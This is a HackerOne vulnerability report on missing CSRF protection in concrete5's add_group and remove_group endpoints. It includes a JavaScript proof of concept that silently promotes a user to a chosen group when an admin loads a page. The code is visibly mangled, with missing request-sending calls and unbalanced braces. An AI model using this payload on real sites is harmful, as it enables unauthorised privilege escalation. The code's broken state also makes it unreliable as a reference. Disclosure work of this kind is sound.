concrete5: No csrf protection on index.php/ccm/system/user/add_group, index.php/ccm/system/user/remove_group

ID H1:64184
Type hackerone
Reporter jmpalk
Modified 2015-08-26T20:03:22



There is no csrf protection on index.php/ccm/system/user/add_group, and index.php/ccm/system/user/remove_group.

A malicious POST request can be constructed to add or remove group membership from arbitrary users, if a logged-in admin surfs to a compromised site.

For example, a registered user who has access to edit a given page (say, a blog post) could add the following javascript to the "Extra Header Content" section of the page's SEO module:

<!-- <script language="JavaScript" type="text/javascript">

 window.onload = promoteUser();

 function promoteUser() {
   var XHR = new XMLHttpRequest();
   var urlEncodedData = "";
   var urlEncodedDataPairs = [];
   var name;
   var data = {gID:'3', uID:'8'}; //sub uID for whatever uID you want to promote

   for(name in data) {
     urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
   } //end for(name in data)

   urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');

   XHR.addEventListener('load', function(event){
     //alert boxes for testing purposes only
     //alert('Yeah! Data sent and response loaded.');

   XHR.addEventListener('error', function(event){
     //alert boxes for testing purposes only
     //alert('Oops. Something went wrong.');
     });'POST', 'http://&lt;&lt;site&gt;&gt;/concrete5/index.php/ccm/system/user/add_group');

// alt:'POST', // 'http://<<site>>/concrete5/index.php/ccm/system/user/remove_group');

   XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
   XHR.setRequestHeader('Content-Length', urlEncodedData.length);


 }//end promoteUser



As an aside, I'm not sure whether allowing any user to add javascript to the "Extra Header Content" field of a page's SEO module counts as XSS or not, since it seems like a feature, albeit one that could be abused.